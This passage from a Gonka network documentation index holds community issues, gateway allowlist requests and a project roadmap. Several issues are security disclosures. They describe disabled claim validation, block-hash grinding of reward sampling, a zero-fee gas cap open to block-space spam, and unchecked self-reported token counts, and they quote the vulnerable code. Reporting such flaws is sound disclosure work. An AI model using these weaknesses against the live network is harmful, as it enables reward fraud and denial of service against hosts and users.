"}, {"location": "community/issues/01471-security-admin-dapi-unauthenticated-get-adminv1config-leaks-/#comments-1", "title": "💬 Comments (1)", "text": "@Aphelios01-sdk commented 2026-07-18 03:07 UTCClosing to focus disclosure on the highest-priority finding: https://github.com/gonka-ai/gonka/issues/1470 (SSRF via InferenceUrl). Other items can be re-opened or filed via HackerOne if needed.
🔄 Auto-synced from Issue #1471 every hour.
"}, {"location": "community/issues/01472-security-claimrewards-claimvalidationenabled-default-false-s/", "title": "#1472 — Security: ClaimRewards — ClaimValidationEnabled default false; sample RNG uses claim-time block hash", "text": "Security: ClaimRewards — ClaimValidationEnabled default false; sample RNG uses claim-time block hash #1472 Closed @Aphelios01-sdk opened 2026-07-18 03:05 UTC 1 comment Updated 2026-07-18 03:08 UTC"}, {"location": "community/issues/01472-security-claimrewards-claimvalidationenabled-default-false-s/#summary", "title": "Summary", "text": "Two related issues in MsgClaimRewards integrity:
ClaimValidationEnabled defaults to false (also forced false in upgrade v0.2.11)", "text": "When false, validateClaim (seed check + missed-validation statistical test) is skipped; handler goes straight to payoutClaim after basic settle checks.
ctx.HeaderInfo().Hash", "text": "ShouldValidate(msg.Seed, …) is deterministic from the settled seed (good), but which inferences are checked can be influenced by when the claimant submits (grind block hashes) if filteredCount > 10000.
inference-chain/x/inference/keeper/msg_server_claim_rewards.goinference-chain/x/inference/types/params.go (ClaimValidationEnabled: false)inference-chain/app/upgrades/v0_2_11/upgrades.goconst maxInferenceSampleSize = 10000if params.ValidationParams != nil && params.ValidationParams.ClaimValidationEnabled {\n // validateClaim ...\n}\n// else: skip duty enforcement\npayoutClaim(...)\nblockHash := ctx.HeaderInfo().Hash\nblockHashSeed := int64(binary.BigEndian.Uint64(blockHash[:8]))\nrng := rand.New(rand.NewSource(blockHashSeed))\n// reservoir sample then ShouldValidate(msg.Seed, ...)\nStatic analysis + local logic proofs only. Prefer HackerOne if public issues are out of process.
"}, {"location": "community/issues/01472-security-claimrewards-claimvalidationenabled-default-false-s/#comments-1", "title": "💬 Comments (1)", "text": "@Aphelios01-sdk commented 2026-07-18 03:07 UTCClosing to focus disclosure on the highest-priority finding: https://github.com/gonka-ai/gonka/issues/1470 (SSRF via InferenceUrl). Other items can be re-opened or filed via HackerOne if needed.
🔄 Auto-synced from Issue #1472 every hour.
"}, {"location": "community/issues/01473-securityhardening-networkduty-fee-bypass-gascap-is-3-000-000/", "title": "#1473 — Security/hardening: NetworkDuty fee bypass GasCap is 3_000_000_000 — free block-space DoS risk", "text": "Security/hardening: NetworkDuty fee bypass GasCap is 3_000_000_000 — free block-space DoS risk #1473 Closed @Aphelios01-sdk opened 2026-07-18 03:05 UTC 1 comment Updated 2026-07-18 03:08 UTC"}, {"location": "community/issues/01473-securityhardening-networkduty-fee-bypass-gascap-is-3-000-000/#summary", "title": "Summary", "text": "NetworkDutyFeeBypassDecorator allows zero-fee transactions when all messages are “network duty” types, with GasCap: 3_000_000_000. That is far above documented ~100M batch sizes and enables large free block-space consumption.
Exempt types include PoC validation V2, Start/Finish inference, MsgValidation, invalidate/revalidate, and several BLS DKG messages (inference-chain/app/ante_fee.go).
inference-chain/app/ante.go — GasCap: 3_000_000_000inference-chain/app/ante_fee.go — isExemptMessageTypeMedium: mempool/block spam without paying min gas price by accounts that can sign duty messages (hosts / warm authz keys).
"}, {"location": "community/issues/01473-securityhardening-networkduty-fee-bypass-gascap-is-3-000-000/#suggested-remediation", "title": "Suggested remediation", "text": "Closing to focus disclosure on the highest-priority finding: https://github.com/gonka-ai/gonka/issues/1470 (SSRF via InferenceUrl). Other items can be re-opened or filed via HackerOne if needed.
🔄 Auto-synced from Issue #1473 every hour.
"}, {"location": "community/issues/01474-securityhardening-executor-signature-verification-disabled-t/", "title": "#1474 — Security/hardening: Executor signature verification disabled; token counts self-reported on Finish", "text": "Security/hardening: Executor signature verification disabled; token counts self-reported on Finish #1474 Closed @Aphelios01-sdk opened 2026-07-18 03:05 UTC 1 comment Updated 2026-07-18 03:08 UTC"}, {"location": "community/issues/01474-securityhardening-executor-signature-verification-disabled-t/#summary", "title": "Summary", "text": "On-chain policy disables executor signature verification on both Start-first and Finish-first paths. Payment-critical CompletionTokenCount / PromptTokenCount come from MsgFinishInference and drive escrow payouts up to reserved max.
Integrity then relies on peer validation / invalidation. That residual control is weaker when ClaimValidationEnabled is false (related issue).
Source also notes a TODO: TA signature should include inferenceId to prevent modified-prompt substitution.
inference-chain/x/inference/keeper/msg_server_start_inference.goinference-chain/x/inference/keeper/msg_server_finish_inference.goinference-chain/x/inference/calculations/inference_state.goMay be intentional design — filing for visibility / defense-in-depth. Happy to discuss on HackerOne if preferred.
"}, {"location": "community/issues/01474-securityhardening-executor-signature-verification-disabled-t/#comments-1", "title": "💬 Comments (1)", "text": "@Aphelios01-sdk commented 2026-07-18 03:08 UTCClosing to focus disclosure on the highest-priority finding: https://github.com/gonka-ai/gonka/issues/1470 (SSRF via InferenceUrl). Other items can be re-opened or filed via HackerOne if needed.
🔄 Auto-synced from Issue #1474 every hour.
"}, {"location": "community/issues/01475-minimax-m27-tool-messages-gateway-rejects-standard-openai-st/", "title": "#1475 — MiniMax-M2.7 tool messages: gateway rejects standard OpenAI string content instead of normalizing it", "text": "MiniMax-M2.7 tool messages: gateway rejects standard OpenAI string content instead of normalizing it #1475 Closed @Ryanchen911 opened 2026-07-18 15:51 UTC 1 comment Updated 2026-07-20 01:46 UTC"}, {"location": "community/issues/01475-minimax-m27-tool-messages-gateway-rejects-standard-openai-st/#summary", "title": "Summary", "text": "The devshard gateway (devshardctl) rejects standard OpenAI-format role:\"tool\" messages for MiniMax-M2.7 with an HTTP 400, when their content is a plain string (the most common and spec-compliant OpenAI shape). Multi-turn tool-calling requests from standard OpenAI clients (coding agents, etc.) fail as a result.
Introduced in #1427 (Aggregated gateway fixes, @gmorgachev), which added the messagevalidators package. The MiniMax tool-message content shape is enforced by:
devshard/cmd/devshardctl/messagevalidators/minimax_tool_message.go ErrMinimaxToolContentShape = errors.New(\"content: must be a non-empty array of {name,type,text} objects\")\ndevshard/cmd/devshardctl/request_filters_messages.go as the ContentValidator on modelRoles[miniMaxM27ModelID][tool].Present in release/v0.2.13-devshard-v3.0.0 / release/devshard/v3.0.0 / release/v0.2.14-testnet-7. Observed on running image ghcr.io/gonka-ai/devshard-gateway:mainnet-v0.2.13-v3-post1.
For MiniMax-M2.7, the normalizer chain deliberately skips the tool role:
messagevalidators.EmptyContentNormalizer{ SkipRoles: []string{\"tool\"} },\nmessagevalidators.TextPartsFlattener{ SkipRoles: []string{\"tool\"} },\n...and then attaches a validate-only MinimaxToolMessage validator. So the gateway knows MiniMax needs content as a [{name,type,text}] array, but instead of normalizing string content up to that shape, it hard-rejects with 400. This pushes a MiniMax-specific quirk onto every OpenAI-compatible caller, which contradicts the OpenAI-compat contract.
devshardctl emits its own parse-failure stage — this is not an upstream passthrough error:
stage=gateway_parse_failed error=\"messages[2].content: must be a non-empty array of {name,type,text} objects: not an array\"\nstage=gateway_parse_failed error=\"messages[3].content: must be a non-empty array of {name,type,text} objects: not an array\"\nstage=gateway_parse_failed error=\"messages[9].content: must be a non-empty array of {name,type,text} objects: not an array\"\nstage=gateway_parse_failed error=\"messages[15].content: must be a non-empty array of {name,type,text} objects: not an array\"\nSurfaced to callers (via new-api) as:
channel error (channel #3, status code: 400): messages[N].content: must be a non-empty array of {name,type,text} objects: not an array type=upstream_error\nNotes: - The failing index is never messages[0] — always a mid-conversation tool message in multi-turn tool-calling flows. The first user turn (string content) passes; the tool-result turns fail. - In the same window MiniMax-M2.7 served 183k+ status=200 responses, so this is purely the tool-message content shape, not a backend/model issue.
Add a tool-role content normalizer for MiniMax-M2.7 (mirroring the existing TextPartsFlattener / EmptyContentNormalizer pattern) that upgrades a plain string content into the required array shape before validation, e.g.:
{\"role\":\"tool\",\"tool_call_id\":\"call_x\",\"content\":\"result text\"}\n{\"role\":\"tool\",\"content\":[{\"name\":\"<tool name>\",\"type\":\"text\",\"text\":\"result text\"}]}\nThe existing caps in request_filters_config.go still apply after normalization (MaxEntries=16, NameMaxLen=64, TextMaxSize=64KiB, closed {name,type,text} key allow-list). This keeps the SGLang #16057 defensive intent while restoring OpenAI-compat for standard clients.
Doc reference: docs/chat-api/minimax-m2.7.md.
cc @gmorgachev
"}, {"location": "community/issues/01475-minimax-m27-tool-messages-gateway-rejects-standard-openai-st/#comments-1", "title": "💬 Comments (1)", "text": "@Ryanchen911 commented 2026-07-20 01:46 UTCThanks — this looks already fixed by #1467 (fix(gateway): minimax tools regression, merged into upgrade-v0.2.14), which removes the MinimaxToolMessage array-shape validator so role:\"tool\" messages accept standard OpenAI string content again (unified ValidateRequiredContentField path for all models). Closing as duplicate. Now just waiting for a mainnet gateway image containing #1467 — the currently deployed mainnet-v0.2.13-v3-post1 still carries the pre-fix validator.
🔄 Auto-synced from Issue #1475 every hour.
"}, {"location": "community/issues/01479-gateway-allowlist-request-knyazev-ai-high-throughput-agent-i/", "title": "#1479 — Gateway allowlist request: Knyazev AI high-throughput agent infrastructure", "text": "Gateway allowlist request: Knyazev AI high-throughput agent infrastructure #1479 Open @knyazev741 opened 2026-07-19 06:12 UTC 3 comments Updated 2026-07-21 05:52 UTC"}, {"location": "community/issues/01479-gateway-allowlist-request-knyazev-ai-high-throughput-agent-i/#operator", "title": "Operator", "text": "gonka1mylwv85v5kv7ty2pg4f3evgsqrj7xxtc2p2tud\nPublic key:
Akh4KxA3B35UI3XU3M4U99tfajeqQSyXLEDrRfUH16yB\nPlease consider adding this address to devshard_escrow_params.allowed_creator_addresses.
The key is dedicated exclusively to devshard escrow creation. In accordance with the current self-hosted gateway guide, the creator will be funded only after allowlist membership is confirmed.
"}, {"location": "community/issues/01479-gateway-allowlist-request-knyazev-ai-high-throughput-agent-i/#models", "title": "Models", "text": "MiniMaxAI/MiniMax-M2.7 — primarymoonshotai/Kimi-K2.6 — secondary / evaluationWe operate a private AI-agent and automation infrastructure with parallel worker pipelines. The immediate workload includes agent orchestration, code and log analysis, structured extraction, evaluation workloads, and high-volume background processing.
Our target operating range is 100–200 concurrent inference requests. A community broker is useful for initial compatibility testing, but it does not meet our requirements because:
This request is for a private self-hosted gateway, not a public broker-directory listing and not resale of raw inference.
"}, {"location": "community/issues/01479-gateway-allowlist-request-knyazev-ai-high-throughput-agent-i/#initial-deployment-plan", "title": "Initial deployment plan", "text": "libermans/gonka-devshard-proxy containerGATEWAY_MAX_CONCURRENT_REQUESTS=512After approval we will stage traffic gradually:
Initial broker-based testing already showed why direct capacity testing matters: MiniMax handled sequential requests reliably during one sample, while a 10-concurrent sample produced substantial upstream 502 variance. We want to test the native devshard/operator path and contribute actionable capacity data rather than hide network behavior behind broker-specific limits.
"}, {"location": "community/issues/01479-gateway-allowlist-request-knyazev-ai-high-throughput-agent-i/#governance-and-operations-commitments", "title": "Governance and operations commitments", "text": "Thank you for considering the request.
"}, {"location": "community/issues/01479-gateway-allowlist-request-knyazev-ai-high-throughput-agent-i/#comments-3", "title": "💬 Comments (3)", "text": "@knyazev741 commented 2026-07-19 06:19 UTCHi @tcharchian — could you please point us to the preferred path for getting this address considered in the next governance-approved allowlist batch, and to the community channel where support should be discussed before a proposal?
To clarify the operator-specific need: this is not a request for a broker-directory listing. We need the creator path itself for self-custodied GNK settlement, control of escrow pooling/rotation, and a private workload targeting 100–200 concurrent requests. We will stage the load and publish anonymized capacity/reliability measurements back to the community.
The dedicated address remains unfunded, following the current gateway guide's instruction not to fund or deploy until allowlist membership is confirmed. We are ready to provide any additional operator details or revise the scope for governance review.
@knyazev741 commented 2026-07-19 06:52 UTCCommunity discussion is now open in Gonka #dev-chat: https://discord.com/channels/1336477374442770503/1336787104935579668/1528292662245855403
We have asked active hosts what evidence or operational commitments they would want before supporting inclusion in the next governance-approved creator allowlist batch. We will keep this issue updated with any requested details. The dedicated creator address remains unfunded, and the gateway will not be deployed until on-chain allowlist membership is confirmed.
@tcharchian commented 2026-07-21 05:52 UTCHi @knyazev741, thanks for opening issue and for already opening the discussion in #dev-chat. That's exactly the right move, and it answers your own question about the process better than I could: there's no maintainer-controlled queue here — Gonka is decentralized, so an address gets added to devshard_escrow_params.allowed_creator_addresses only through on-chain governance (a standalone param-change proposal or inclusion in a governance-approved upgrade batch). Building visible support with active hosts/operators in the community before a proposal is assembled is the strongest thing you can do while you wait.
OpenBroker https://github.com/gonka-ai/gonka/discussions/1363 would address the throughput concern — it's GNK-native, no markup, and has been load-tested well past your 100–200 concurrent range — but it's custodial by design (you deposit GNK to an operator-controlled address and run under their API key), and it abstracts the escrow/settlement path away from you. Since your stated requirements are self-custodied GNK settlement, direct control of escrow pooling/rotation/retry, and no intermediary in the request path — plus the explicit goal of measuring the native devshard/operator path rather than broker-specific behavior — a broker doesn't substitute for the creator path here. So the allowlist request is the correct path, not something to redirect.
Keep this issue updated with anything the hosts ask for in #dev-chat, thanks
🔄 Auto-synced from Issue #1479 every hour.
"}, {"location": "community/issues/01480-gateway-allowlist-request-ancapex/", "title": "#1480 — Gateway allowlist request: Ancapex", "text": "Gateway allowlist request: Ancapex #1480 Open @alancapex opened 2026-07-19 21:31 UTC 2 comments Updated 2026-07-23 06:49 UTCOperator
Ancapex — mining platform for Gonka (https://ancapex.ai/) Contact: About Ancapex
Ancapex is a platform for mining on the Gonka Network. Launched as a public pool in December 2025, it gives anyone the ability to participate in Gonka mining without running their own node or managing server infrastructure.
Since launch, the platform has attracted over 1,500 deposits with a total volume exceeding $350,000. The team continuously ships new features - most recently, in-platform governance voting, which allows Ancapex users to participate in Gonka Network proposals directly through the platform, with each user's vote counted individually and proportionally to their mining share.
Address
gonka1fnnjn8nr978tzrjknum3kqwdm24gc9sernrpae
Models
Any
Use case
We're building a platform designed to serve both our clients and autonomous agents. This is custom development at the gateway level, which a shared gateway with fixed behavior can't accommodate:
Custom custody schemes — different client types require different custody and payment arrangements; some must settle non-custodially, with no intermediary holding client funds, which a broker ledger can't provide. Agentic payments — agents paying for inference programmatically from accounts they control, with our entities as on-chain payer-of-record where required. Execution lifecycle control — our own management of session/escrow lifecycle, timeouts, retries, and rotation cadence, tuned to agent workloads (we understand routing and per-token pricing are protocol-defined and expect no performance advantage from self-hosting — this is about gateway behavior, not the network). Operator-side protocol work — we'll run our own devshardd v1/v2 integration and keep feeding operator-side issues and fixes back here, which isn't possible from behind a proxy.
Once our development stabilizes, we'll contribute the generalized schemes back to open source, as we've done with our previous work.
"}, {"location": "community/issues/01480-gateway-allowlist-request-ancapex/#comments-2", "title": "💬 Comments (2)", "text": "@tcharchian commented 2026-07-22 00:46 UTCHi @alancapex! Probably you already know, there's a GNK-native community broker (OpenBroker https://github.com/gonka-ai/gonka/discussions/1363) with no markup and tested throughput, but it's a shared gateway with a custodial ledger, which is not exactly what you need I believe. So the creator/allowlist path is the correct one for you. That said, @gonkalabs, could you please take a look at whether the needs described in this issue could be maybe partially solved in some new way? Would be great to hear your take.
@alancapex, the strongest thing you can do while you wait is to continue building visibility in the community. These decisions are made with community input, and proposals/candidate addresses get discussed in the community channels, not only in an issue thread. Given your existing footprint and the commitment to contribute back to open source plus the operator-side protocol work you intend to feed back, is the right direction.
Keep this issue updated with anything new that comes up.
@gonkalabs commented 2026-07-23 06:45 UTCHi @alancapex ! Can we communicate on this topic in Telegram and discuss potential implementation details needed to be made on openbroker side in order to fulfill the needs for such project?
As we can see, described functionality can be implemented as a product-layer feature set that can be enabled and utilized for your account. For example: host a separate devshard container that will be routable only for your account, etc
🔄 Auto-synced from Issue #1480 every hour.
"}, {"location": "community/issues/01493-request-to-be-added-as-a-gonka-broker-devshard-escrow-creato/", "title": "#1493 — Request to be added as a Gonka broker (devshard escrow creator allowlist)", "text": "Request to be added as a Gonka broker (devshard escrow creator allowlist) #1493 Open @nikshh opened 2026-07-21 13:07 UTC 0 comments Updated 2026-07-22 13:51 UTCHi Gonka core team & community,\n\nRequesting inclusion of our escrow creator address in\n`devshard_escrow_params.allowed_creator_addresses` to operate a\nself-hosted devshard gateway.\n\n## Escrow creator address\n\n`gonka179ktce899cu28f666as7gqe3we638tv0fuhn4f`\n\n(funded, pubkey published on-chain)\n\n## About us\n\nOperator: Nikita Shanin (sole proprietor; Chatbotiq — software development\nstudio). Contact: mr.shanin.nikitos@gmail.com / GitHub: nikshh.\n\n## What we're building on Gonka\n\nInternal AI coding agents (Telegram-based assistant products) consuming\ninference for agentic coding loops — initially our own workloads\n(~10–50M tokens/day), potentially broker access for our clients later.\n\nWe have already:\n- tested the network as developers (community broker + signed direct requests\n with our own patched Windows build of gonka-openai);\n- deployed the devshard gateway (`libermans/gonka-devshard-proxy`) on a\n dedicated GCP server — container healthy, chain-synced, waiting on allowlist;\n- hold GNK for escrow funding (min_amount covered, rotation reserve planned).\n\n## Models\n\nmoonshotai/Kimi-K2.6 (primary), MiniMaxAI/MiniMax-M2.7\n\n## Infrastructure\n\nDedicated Linux server (GCP), Docker deployment, 24/7 monitoring\n(Uptime Kuma). Gateway exposed via reverse proxy with TLS and bearer auth.\n\nWe understand inclusion is an on-chain governance decision with no guaranteed\ntimeline; meanwhile we'll run our workloads via OpenBroker. Filing this to\nregister intent per the process described in #1257/#1245.\n\nThanks!\n🔄 Auto-synced from Issue #1493 every hour.
"}, {"location": "community/issues/labels/bug/", "title": "Issues: bug", "text": "Issues with label bug. Total: 12. Updated: 2026-07-26 07:09 UTC.
← All Issues
Issues with label devshards. Total: 14. Updated: 2026-07-26 07:09 UTC.
← All Issues
Issues with label enhancement. Total: 13. Updated: 2026-07-26 07:09 UTC.
← All Issues
Issues with label help wanted. Total: 7. Updated: 2026-07-26 07:09 UTC.
← All Issues
Issues with label nice-to-have. Total: 1. Updated: 2026-07-26 07:09 UTC.
← All Issues
Issues with label no-label. Total: 240. Updated: 2026-07-26 07:09 UTC.
← All Issues
Issues with label Priority: High. Total: 29. Updated: 2026-07-26 07:09 UTC.
← All Issues
Issues with label Priority: Low. Total: 13. Updated: 2026-07-26 07:09 UTC.
← All Issues
Issues with label Priority: Medium. Total: 5. Updated: 2026-07-26 07:09 UTC.
← All Issues
Issues with label protocol. Total: 1. Updated: 2026-07-26 07:09 UTC.
← All Issues
Issues with label requires own mainnet node. Total: 2. Updated: 2026-07-26 07:09 UTC.
← All Issues
Issues with label up-for-grabs. Total: 15. Updated: 2026-07-26 07:09 UTC.
← All Issues
Gonka is building a decentralized AI inference network that connects distributed GPU resources with developers of AI applications.
The goal of the network is to give developers access to scalable inference on open models without dependence on centralized cloud providers, while giving hosts a clear way to contribute GPU capacity and earn rewards for useful work.
"}, {"location": "community/roadmap/#strategic-horizons", "title": "Strategic horizons", "text": "Gonka is building toward three levels of scale.
"}, {"location": "community/roadmap/#horizon-1-lead-deai", "title": "Horizon 1. Lead DeAI", "text": "The nearest goal is to become the leading decentralized AI compute network.
The next goal is to compete with AI infrastructure and neocloud providers such as Nebius, CoreWeave, Lambda and similar platforms.
The long-term direction for Gonka is to become a decentralized compute layer for frontier-scale AI infrastructure.
To reach these horizons the network needs a legal and operational entity that can turn the roadmap into funded, reviewed, delivered, and maintained work, and act as a formal counterparty for contracts where needed.
The Foundation should not replace governance. Protocol-facing changes still require technical review and governance alignment.
This document proposes the Foundation as a concept. It does not define or establish the final Foundation structure. The Foundation’s legal structure, mandate, composition, treasury scope and accountability model should be defined in a separate document and approved through a separate governance process.
The Gonka Foundation responsibilities:
Every project in the roadmap should deliver measurable value against at least one of these metrics:
Individual projects may also define track-specific metrics.
[!NOTE] This roadmap is intentionally written at the level of tracks and high-level projects.
The projects listed here are not single implementation tasks. Each of them can later be broken down into concrete subprojects with tasks, technical scope, estimates, owners, timelines, and delivery plans.
Future changes to roadmap tracks and projects should go through the Gonka Improvement Protocol process: public discussion, community feedback, a GitHub pull request showing the proposed changes to the document, and then a governance proposal to approve the update.
"}, {"location": "community/roadmap/#near-term-priorities", "title": "Near-term priorities", "text": "In the near term, Gonka should focus on network stability, predictable operation, and real inference usage.
"}, {"location": "community/roadmap/#core-stability-and-reliability", "title": "Core stability and reliability", "text": "The main priority is to strengthen the core production path: inference availability, model-serving stability, PoC timing, validation, latency, uptime, and security.
This means that near-term development should prioritize bug fixes, reliability improvements, security, core inference quality, and operational clarity over lower-impact feature work.
"}, {"location": "community/roadmap/#economic-alignment-review", "title": "Economic alignment review", "text": "Economic alignment across supported models must be reviewed carefully. As Gonka scales to support multiple models, differences in demand, hardware requirements, PoC parameters, and reward logic should be balanced to prevent uneven incentives for hosts.
"}, {"location": "community/roadmap/#demand-activation", "title": "Demand activation", "text": "At the same time, Gonka needs a clear demand activation plan to connect real API and inference consumers to the network.
The focus should include developer outreach, aggregator readiness, integrations with developer tools and agent frameworks, partner channels, public demos, technical examples, developer credits, and usage-based grants.
The plan should track real usage metrics such as daily tokens processed, active inference users, active applications, utilization, retained usage after credits, and consumer-to-host value flow.
"}, {"location": "community/roadmap/#mid-and-long-term-priorities", "title": "Mid- and long-term priorities", "text": ""}, {"location": "community/roadmap/#track-1-multi-model-network", "title": "Track 1. Multi-model network", "text": "Gonka should support models of different classes and modalities including text, coding, voice, image, and video workloads.
Developers get a wider model selection for their use cases. Hosts understand hardware requirements and the rules for participating in model groups.
"}, {"location": "community/roadmap/#project-1-model-launch-factory", "title": "Project 1. Model launch factory", "text": "Ready-to-use model launch packages: runtime configurations, optimized images, benchmark scenarios, hardware requirements, readiness criteria, and rollback checklist.
Metrics:
What this gives the network:
Gonka can add the best relevant open LLMs faster and rely less on manual host-side launch work for each model. Developers get access to new open models sooner, and hosts get a clear way to deploy a model on suitable hardware.
"}, {"location": "community/roadmap/#project-2-poc-intents-weights-and-rewards-for-model-groups", "title": "Project 2. PoC, intents, weights, and rewards for model groups", "text": "Parameters and monitoring for PoC, model launch intents, weights, rewards, and penalties across different model-serving groups.
PoC benchmarks should maintain a strong correlation with real inference performance.
Metrics:
What this gives the network:
Gonka can support multiple models without breaking fairness, capacity planning, or reward logic. Hosts understand which model-serving groups they can participate in, what requirements apply, and how rewards and penalties are calculated for each group.
"}, {"location": "community/roadmap/#track-2-developer-and-ai-agent-access", "title": "Track 2. Developer and AI agent access", "text": "Gonka becomes easier to integrate through APIs, SDKs, common developer tools, routing aggregators, and AI agents.
"}, {"location": "community/roadmap/#project-1-sdks-adapters-and-reference-integrations", "title": "Project 1. SDKs, adapters, and reference integrations", "text": "A set of SDKs, adapters, wrappers, sample apps, and compatibility tests for popular developer toolchains.
Scope includes:
Metrics:
What this gives the network:
A developer can integrate Gonka through familiar tools and examples instead of learning the internal mechanics of the network.
"}, {"location": "community/roadmap/#project-2-adapter-for-openrouter-aggregators", "title": "Project 2. Adapter for OpenRouter / aggregators", "text": "An adapter for OpenRouter and/or a similar routing aggregation layer.
Metrics:
What this gives the network:
Gonka becomes available through a familiar entry point for developers, not only through direct integration. This lowers the barrier to first use and helps the network get real inference traffic faster.
"}, {"location": "community/roadmap/#project-3-delegated-wallets-and-agent-accounts", "title": "Project 3. Delegated wallets and agent accounts", "text": "An API and service layer for delegated wallets, service accounts, and AI agents so that applications and agents can run continuously buying compute and calling inference.
Metrics:
What this gives the network:
AI agents and long-running services can buy compute and run inference within predefined limits without exposing the main key and without manual confirmation for every action. The application owner keeps control through limits, delegation revocation, and audit-trail review.
"}, {"location": "community/roadmap/#track-3-hosts-and-compute-capacity-growth", "title": "Track 3. Hosts and compute capacity growth", "text": "Network growth, simple onboarding, and host retention.
"}, {"location": "community/roadmap/#project-1-hardware-neutral-inference-requirements", "title": "Project 1. Hardware-neutral inference requirements", "text": "Gonka should avoid introducing protocol requirements that unnecessarily lock the network into one inference engine, hardware class, or execution model.
Future protocol, PoC, validation, privacy, and model-serving requirements should focus on inference quality rather than on a specific hardware type or implementation.
Metrics:
What this gives the network:
Gonka keeps a future path open for alternative inference engines and hardware classes that can meet the same quality, validation, and security requirements.
"}, {"location": "community/roadmap/#project-2-maintenance-windows-for-hosts", "title": "Project 2. Maintenance windows for hosts", "text": "The project should give a host a way to declare a maintenance window in advance, check whether the maintenance window is allowed, temporarily step out of part of its duties, and return to service without separate coordination and without being penalized for planned downtime.
Metrics:
What this gives the network:
The network gets a formal maintenance-window process that separates planned downtime from unplanned failures and reduces avoidable misses, penalties, and disputes.
"}, {"location": "community/roadmap/#project-3-optimized-node-images", "title": "Project 3. Optimized node images", "text": "A repeatable pipeline for optimized images, configs and production-ready host profiles.
The optimization process should focus on real inference performance, not only benchmark-specific PoC results. Optimized images and host profiles should be evaluated against realistic serving conditions, including encoding, decoding, different load profiles, and model-specific requirements.
Metrics:
What this gives the network:
Hosts get more useful inference out of the same hardware, and the network turns connected compute resources into real usable capacity.
"}, {"location": "community/roadmap/#track-4-network-reliability-and-observability", "title": "Track 4. Network reliability and observability", "text": "This track should help the network identify and resolve consensus failures, block production slowdowns, inference latency degradation, endpoint failures, recurring operational issues, and gaps in inference output quality or availability compared with centralized provider expectations.
"}, {"location": "community/roadmap/#project-1-network-incident-and-stability-center", "title": "Project 1. Network incident and stability center", "text": "A portal for network status, active incidents, known issues, incident runbooks, postmortem reports, and tasks created from recurring failures.
The scope should include settlement and validation status for failed, slow, or disputed inference sessions.
Metrics:
What this gives the network:
The network gets a clear incident process: an issue is recorded, assigned an owner, investigated, described, and turned into a task or regression check.
"}, {"location": "community/roadmap/#project-2-external-testing-lab", "title": "Project 2. External testing lab", "text": "An external testing lab for Gonka changes before they are rolled out broadly.
The lab should be operated by an external team with access to devnet and dedicated testing servers. It should test changes from protocol maintainers, funded external teams, and ecosystem contributors in realistic environments before they create risks for mainnet hosts or third-party integrations.
The purpose is to reduce the growing testing load on Protocol Maintainers and create a predictable coordination point for external teams.
Metrics:
What this gives the network:
Gonka gets an external testing layer for upcoming changes. Hosts get safer rollouts and fewer avoidable failures. Protocol Maintainers get additional testing capacity, structured reports, and clearer signals before wider rollout. Ecosystem teams get a place to check compatibility before changes affect users.
"}, {"location": "community/roadmap/#project-3-network-documentation", "title": "Project 3. Network documentation", "text": "A structured documentation system for hosts, developers, external contributors, and ecosystem teams.
The documentation should have a clear canonical source in a public GitHub documentation repository, where changes can be reviewed, versioned, and updated through PRs.
This project should be treated as an ongoing documentation maintenance process, not a one-time writing effort. It could support a documentation or technical writing team responsible for keeping the documentation up to date after protocol upgrades, incidents, recurring support questions, and operational changes.
Metrics:
What this gives the network:
Gonka gets a clear, maintained, and versioned knowledge base. Hosts and external teams get fewer ambiguous instructions and a safer path through upgrades and operational changes.
"}, {"location": "community/roadmap/#track-5-protocol-security-hardening-and-abuse-prevention", "title": "Track 5. Protocol security, hardening, and abuse prevention", "text": ""}, {"location": "community/roadmap/#project-1-attack-registry-and-regression-check-suite", "title": "Project 1. Attack registry and regression check suite", "text": "A registry of known attack classes and automated checks that prevent these attacks from coming back in future versions.
Metrics:
What this gives the network:
Known attack classes and exploit scenarios become testable regression checks. The network does not repeat the same mistakes after upgrades, new model launches, or parameter changes.
"}, {"location": "community/roadmap/#project-2-economic-and-incentive-attack-simulator", "title": "Project 2. Economic and incentive attack simulator", "text": "A set of scenarios and simulations to test whether participants can gain an unfair advantage through pricing, rewards, validation, penalties, collateral, spam, or optimization against the mechanics.
Metrics:
What this gives the network:
Pricing, rewards, penalties, and anti-abuse parameters are tested before they become expensive live-network problems, reducing the risk of mechanic gaming, unfair advantage, and false penalties for honest hosts.
"}, {"location": "community/roadmap/#project-3-vulnerability-disclosure-program", "title": "Project 3. Vulnerability disclosure program", "text": "A public security process for reporting vulnerabilities: page, form, triage rules, severity categories, path from report to fix, and regression test.
Metrics:
What this gives the network:
External researchers and community participants get a safe reporting path without exposing exploit details in public chats.
"}, {"location": "community/roadmap/#track-6-market-access-and-liquidity-and-bridges", "title": "Track 6. Market access and liquidity, and bridges", "text": "Gonka needs a controlled path for token accessibility, liquidity, cross-chain asset movement, and exchange presence.
"}, {"location": "community/roadmap/#project-1-dex-launch-and-top-tier-cex-readiness", "title": "Project 1. DEX launch and top-tier CEX readiness", "text": "A controlled market-access plan for Gonka: first launch supported DEX liquidity, then prepare for top-tier CEX listings when the network has sufficient traction, liquidity, compliance readiness, and operational maturity.
Metrics:
What this gives the network:
Gonka gets a clear exchange-access strategy and improves token accessibility.
"}, {"location": "community/roadmap/#project-2-cross-chain-routes", "title": "Project 2. Cross-chain routes", "text": "Supported routes for moving assets between Gonka and external networks.
Metrics:
What this gives the network:
The network gets official cross-chain routes for deposits and withdrawals, with defined asset mapping, transaction status, error handling, documentation, and operational monitoring.
"}, {"location": "community/roadmap/#project-3-contract-security-and-cross-chain-interop", "title": "Project 3. Contract security and cross-chain interop", "text": "A security review process for bridge- and interop-related contracts, configurations, and integrations. The scope includes threat modeling, internal or external review where needed, upgrade planning, regression checks after changes, and documented bridge-facing flows for integrators.
Metrics:
What this gives the network:
The network gets safer bridge and interop flows: fewer risky upgrades, clearer responsibility boundaries, and lower risk of economic attacks through cross-chain integrations.
"}, {"location": "community/roadmap/#track-7-public-sandbox-and-consumer-gpu-testnet", "title": "Track 7. Public sandbox and consumer-GPU testnet", "text": "Gonka gets safe environments for testing models, integrations, settings, Devshard scenarios, and consumer-GPU participation without risk to mainnet.
"}, {"location": "community/roadmap/#project-1-public-testing-sandbox", "title": "Project 1. Public testing sandbox", "text": "A separate test environment for experiments with models, parameters, and integrations without going to mainnet.
The sandbox should also support reproducible Devshard and protocol-level scenarios for testing upgrades, parameters, execution behavior, validation, and settlement before mainnet.
Metrics:
What this gives the network:
Developers and external teams can test models, integrations, and parameters without risk to mainnet. Hosts can try participation in the network before entering full production mode. Contributors and maintainers get a place for reproducible checks before changes are launched on the main network.
